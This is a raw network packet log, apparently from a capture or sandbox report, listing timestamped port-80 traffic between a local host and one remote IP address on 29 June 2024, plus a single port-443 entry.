Jun 29, 2024 08:04:57.629235983 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.629236937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.629236937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.629236937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.630733013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.630745888 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.630789042 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.630800009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.630810022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.630831003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.630845070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.630876064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.632374048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.632400036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.632414103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.632425070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.632457972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.632457972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.634006977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.634037971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.634052992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.634061098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.634092093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.634093046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.635652065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.635664940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.635719061 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.635750055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.635762930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.635792971 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.635813951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.637356043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.637370110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.637407064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.637408972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.637428999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.637429953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.637447119 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.637469053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.639014959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.639067888 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.639082909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.639086008 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.639112949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.639142036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.640698910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.640714884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.640729904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.640753031 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.640784979 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.640784979 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.642309904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.642323971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.642348051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.642360926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.642369032 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.642416954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.643961906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.643976927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.643990993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.644016027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.644047022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.645497084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.645523071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.645536900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.645556927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.645582914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.647134066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.647180080 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.647191048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.647206068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.647242069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.647242069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.648801088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.648850918 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.648881912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.648895979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.648931026 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.648981094 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.650460958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.650475025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.650513887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.650520086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.650537014 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.650552034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.650573015 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.650602102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.652091026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.652115107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.652128935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.652146101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.652178049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.652178049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.653709888 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.653736115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.653764963 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.653796911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.911911964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.911927938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.911978960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.912025928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.912377119 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.912393093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.912415028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.912457943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.912458897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.913014889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.913029909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.913044930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.913074017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.913103104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.914737940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.914800882 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.914916039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.914928913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.914942980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.914963007 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.914994955 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.914995909 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.916526079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.916539907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.916554928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.916569948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.916593075 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.916593075 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.916639090 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.917944908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.917990923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.917999029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.918006897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.918035984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.918060064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.918060064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.918097019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.919711113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.919725895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:57.919761896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.919794083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.941535950 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:57.946337938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.444257975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.444287062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.444343090 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.444376945 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.444575071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.444622040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.444674969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.444690943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.444737911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.445405960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.446204901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.446238995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.446253061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.446283102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.446296930 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.447958946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.447984934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.447999954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.448021889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.448057890 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.449559927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.449584007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.449598074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.449611902 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.449647903 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.451212883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.451237917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.451251030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.451267958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.451293945 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.452805996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.452860117 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.452867985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.452883005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.452910900 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.452924013 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.454580069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.454632044 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.454664946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.454679966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.454710007 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.454721928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.456299067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.456326008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.456341028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.456356049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.456371069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.456383944 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.458065987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.458118916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.458122969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.458163023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.458213091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.458226919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.458259106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.458271980 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.460151911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.460166931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.460181952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.460208893 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.460208893 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.460227966 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.461354971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.461407900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.461412907 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.461422920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.461447001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.461461067 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.463162899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.463176966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.463191032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.463223934 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.463239908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.464817047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.464832067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.464845896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.464873075 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.464895010 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.466414928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.466475010 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.466515064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.466528893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.466557980 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.466571093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.468061924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.468128920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.468130112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.468144894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.468211889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.469779968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.469805002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.469825983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.469845057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.469872952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.471605062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.471662045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.471674919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.471676111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.471702099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.471716881 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.473184109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.473197937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.473213911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.473236084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.473242998 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.473263025 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.473288059 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.474910021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.474936008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.474951029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.474973917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.474987030 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.476579905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.476640940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.476644039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.476660013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.476687908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.476696014 CEST	49675	443	192.168.2.4	173.222.162.32
Jun 29, 2024 08:04:58.476701021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.478327990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.478342056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.478355885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.478374004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.478394985 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.479928970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.479942083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.479958057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.479981899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.479995012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.646920919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.646981955 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.741055012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.741111040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.741209984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.741225004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.741256952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.741271019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.741717100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.741731882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.741746902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.741755962 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.741770029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.741792917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.743516922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.743544102 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.743557930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.743566990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.743590117 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.743602991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.745126963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.745172977 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.745178938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.745193005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.745224953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.745238066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.746777058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.746802092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.746815920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.746823072 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.746839046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.746859074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.748569965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.748585939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.748600006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.748624086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.748661995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.750282049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.750307083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.750327110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.750332117 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.750355959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.750385046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.752023935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.752039909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.752053976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.752075911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.752094984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.753720999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.753768921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.753781080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.753796101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.753823996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.753837109 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.755410910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.755424023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.755448103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.755460024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.755462885 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.755471945 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.755498886 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.756983042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.757014036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.757026911 CEST	80	49731	81.28.12.12	192.168.2.4
